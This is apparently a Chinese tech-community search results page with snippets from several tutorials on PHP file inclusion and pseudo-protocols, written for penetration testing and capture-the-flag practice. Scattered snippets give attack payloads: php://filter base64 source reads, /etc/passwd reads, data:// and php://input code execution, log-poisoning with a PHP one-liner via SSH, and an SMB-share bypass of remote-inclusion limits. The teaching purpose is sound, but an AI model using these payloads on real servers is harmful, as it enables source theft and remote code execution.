首页
学习
活动
专区
圈层
工具
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

文件包含、PHP伪协议

一、PHP中造成文件包含的四个函数 1、include() 、require() 当使用include()函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告...当使用上述四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。...二、本地文件包含、远程文件包含的区别 1、本地文件包含 LFI(Local File Include) 2、远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include...三、PHP伪协议 PHP伪协议事实上就是支持的协议与封装协议(12种) ? ? 测试代码 路径为:E:\phpStudy\WWW\include.php ? ?.../etc/passwd 读取系统文件,确认存在文件包含。 ? ? 使用data协议或者php://input协议判断是远程文件包含还是本地文件包含。 ? ? 发现没有回显,基本确定是本地文件包含。

2.7K20

渗透测试文件包含漏洞原理与验证(3)——PHP封装伪协议

使用PHP封装伪协议PHP 有很多内置 URL 风格的封装协议,这类协议与fopen()、 copy()、 file_exists()和 filesize()的文件系统函数所提供的功能类似。...php流input利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中命令执行(allow_url_include:on,allow_url_fopen不做要求)http:...page=php://filter/read=convert.base64-encode/resource=index.php通过指定未尾的文件,可以读取经base64编码后的文件源码,之后再base64...page=zip://C:/Users/40454/Desktop/test.jpg%23test.txt先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为...使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23data://命令执行(php版本大于等于5.2,allow_url_include:on,allow_url_fopen:on

16710
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    PHP伪协议

    [Web安全]PHP伪协议 最近php伪协议的各种神奇妙用好像突然又常常提到了,php中支持的伪协议有下面这么多 复制代码 file:// — 访问本地文件系统 http:// — 访问 HTTP(...和allow_url_include会影响到fopen等等和include等等函数对于伪协议的支持,而allow_url_include依赖allow_url_fopen,所以allow_url_fopen...php://filter 这篇文章的关键在于讨论php://filter,事实上,这也是我们常常使用的一个伪协议,在任意文件读取,甚至getshell的时候都有利用的机会。...我们举一个例子,这是平时我们用来任意文件读取的payload php://filter/read=convert.base64-encode/resource=upload.php 这里读的过滤器为convert.base64...可以用两种格式接收参数:一种是和strip_tags()函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。

    2.5K80

    PHP伪协议

    PHP伪协议相关知识点在这里做个记录。...PHP常见的伪协议如下: file:// 访问本地文件系统 http:// 访问HTTP(s)网址 ftp:// 访问FTP(s)URLs php:// 访问各个输入/输出流(I/O streams)...ogg:// 音频流 expect:// 处理交互式的流 在这里详细说一下这个php://filter ,这个是常用的伪协议,一般用于任意文件读取,有的时候也可以用在getshell,在双off的情况下也可以使用...,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resourse=index.php...上面举的常用的伪协议的用法: 1.php伪协议 用法: php://input,用于执行php代码,需要post请求提交数据。 php://filter,用于读取源码,get提交参数。 ?

    43350

    php伪协议简单总结

    简介 首先来看一下有哪些文件包含函数: include()、require()、include_once()、require_once()、highlight_file() show_source()...、readfile() 、file_get_contents() 、fopen() 、file() 有哪些伪协议: file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址...page=php://filter/read=convert.base64-encode/resource=/flag.php file://协议 (读文件) 用于访问本地文件系统,不受allow_url_fopen...代码执行 php://input 可以用来生成一句话木马 利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码: data://协议 (写入...zlib:// 均属于压缩流,可以访问压缩文件中的子文件,不需要指定后缀名 如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。

    87510

    PHP-包含文件

    1.4 包含文件 场景: ?...1.4.1 包含文件的方式 1、require:包含多次 2、include:包含多次 3、require_once: 包含一次 4、include_once: 包含一次 ? ?...4、HTML类型的包含页面中存在PHP代码,如果包含到PHP中是可以被执行的 5、包含文件相当于把包含文件中的代码拷贝到主文件中执行,魔术常量除外,魔术常量获取的是所在文件的信息。...6、包含在编译时不执行、运行时加载到内存、独立编译包含文件 1.4.2 包含文件的路径 ./ 当前目录 ../ 上一级目录 区分如下包含: require '....include_path的使用场景: 如果包含文件的目录结构比较复杂,比如:在c:\aa\bb\cc\dd中有多个文件需要包含,可以将包含的路径设置成include_path,这样包含就只要写文件名就可以了

    1.3K30

    PHP伪协议的几种使用姿势

    常见的文件包含函数 首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file、show_source、readfile...# 默认开启,该选项为on便是激活了URL形式的fopen封装协议使得可以访问URL对象文件等。 allow_url_fopen:on   # 默认关闭,该选项为on便是允许包含URL对象文件等。...file://通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。 文件系统是PHP使用的默认封装协议,展现了本地文件系统。...参数列表如下 例题【读取源代码】- php://filter 分析下代码,告诉我们flag在/flag里面,需要使用php://伪协议。...例题【远程包含】- php://input 看下phpinfo,发现两个都开了。 用php://input,然后post我们需要执行的代码,看下当前目录的文件。

    46230

    php文件包含日志getshell

    前言 好久之前,看到过一篇文章,是利用文件包含漏洞,包含的日志文件进行的getshell,看到文章后就感觉,思路不错,不禁反思,为什么当时碰到文件包含的时候没有想着用这些方法来测试,今天就特地写一篇来记...(水)录(文)一下,内容很少,看着就当图一乐 正文 环境:DVWA 系统:Ubuntu18 语言:php 日志文件路径:/var/log/auth.log.1 权限: rw-r-r 首先打开靶场 ?...php phpinfo(); ?>'@ip 我们在ssh日志中,就可以看到一句话木马写入了 ? ? 接着文件包含ssh的日志文件(前提是要有读取的权限,ssh日志默认为640) ?...直接在文件包含处包含即可 参考资料 https://mp.weixin.qq.com/s/IT6bbaG7zBbnrvcNPYr1_w

    2K20

    PHP 文件包含漏洞姿势总结

    从而使之吻合 PHP 中的封装协议(伪协议) http://cn2.php.net/manual/zh/wrappers.php file:///var/www/html 访问本地文件系统 ftp://...利用 data URIs: 利用条件: 1、php 版本大于等于 php5.2 2、allow_url_fopen = On 3、allow_url_include = On 利用 data:// 伪协议进行代码执行的思路原理和...条件非常极端和特殊 glob:// 伪协议 glob:// 查找匹配的文件路径模式 phar:// 利用条件: 1、php 版本大于等于 php5.3.0 姿势: 假设有个文件 phpinfo.txt,...2、协议原型:zip://archive.zip#dir/file.txt 3、注意 url 编码,因为这个 # 会和 url 协议中的 # 冲突 CTF 中的文件包含套路 php 伪协议读取源码 点击...*jpg 3、正则检查了并把结果填充到 $matches 里去,说明我们可以使用 php://filter 伪协议,并且 resource 的值不含|,那么我们就可以用| 来分隔 php 和 jpg,因为正则匹配到

    4.2K22

    Docker PHP裸文件本地包含综述

    大概在去年疫情在家办公那段时间,有个同学问过我一个问题,他遇到了一个PHP文件包含漏洞,但找不到利用方法,目标是跑在Docker里,也没找到太多可以利用的文件。...这篇文章研究的题目是:在使用Docker官方的PHP镜像php:7.4-apache时,Web应用存在文件包含漏洞,在没有文件上传的情况下如何利用?...php include $_REQUEST['file']; 0x01 日志文件包含为什么不行? 这个问题经常在实战中遇到了,特别是黑盒的情况下,功能点也少,找不到可以被包含的文件。...%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA')); 不过在文件包含场景下,这个POC涉及到data:协议,会因为allow_url_include=...>: 然后,我们再利用文件包含漏洞包含这个文件即可getshell: 最后这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker启动的PHP环境即可通过上述一个数据包搞定。

    44930

    PHP远程文件包含(RFI)并绕过远程URL包含限制

    在PHP开发环境php.ini配置文里”allow_url_fopen、allow_url_include“均为“off”的情况下,不允许PHP加载远程HTTP或FTP的url进行远程文件包含时。...环境设置 1、配置php.ini文件禁用"allow_url_fopen" 和 "allow_url_include" 2、利用具有本地文件包含漏洞的程序,这里我们使用DVWA演示 3、使用impacket...确定PHP不允许远程文件包含 ? 试图从我们kali主机包含文件时,应用程序抛出错误并且没有发生RFI 在kali上配置我们的SMB服务器 创建演示php程序文件 ?...攻击文件包含漏洞参数 利用SMB的访问路径传入文件包含漏洞的参数里。 http://127.0.0.1/DVWA/vulnerabilities/fi/?...page=\\192.168.0.101\share\phpinfo.php 目标机器从SMB共享中获取PHP文件并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。 ?

    2.9K30

    php文件自包含的奇淫技巧

    ,但是filter协议不能使用: http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage.../robots.txt&name= 一个思路思路就是通过文件包含无限的包含自身,让PHP的调用栈清空,然后以post的方式提交一个文件,文件会保存在/tmp目录,这个时候通过编辑器路径查看的漏洞查看文件名之后...文件包含: 一下是payload: 包含,程序崩溃,这个时候php的自我保护机制为了让其从程序错误中恢复出来,就会清空自己的内存栈空间,缓存文件就不会删除了。...0x04 总结 了解了一种新的攻击方式,总结一下要完成这种攻击,需要的条件 存在文件包含漏洞 可以列目录 知道 攻击的流程 php文件自我包含 文件上传 查看文件名称 包含上传的文件 getshell

    1.1K10

    技术讨论 | PHP本地文件包含漏洞GetShell

    漏洞背景 当您在发现PHP本地文件包含漏洞的时候,却尴尬于没有上传点,或者受到base_dir的限制,可以尝试用如下操作进行突破。...利用条件 1.存在PHP文件包含漏洞 2.存在PHPINFO泄漏页面,或者其他debug泄漏,获取tmp_name值 漏洞复现 演示环境:Windows + php 5.6 0x01:PHP文件上传...> 上面的例子在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本,但是并没有保存, 上传文件名以php + random(6) 进行拼接 在给PHP发送POST数据包时,如果数据包里包含文件区块...,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件 这个文件在生成的瞬间又被删除,利用条件竞争进行包含 0x02:获取临时文件名 phpinfo() 会打印出所有请求的变量...socket连接并没有结束,所以可以利用这个时间差,进行条件竞争,利用文件包含漏洞进行getshell 复现 phpinfo.php <?

    1.3K20
    领券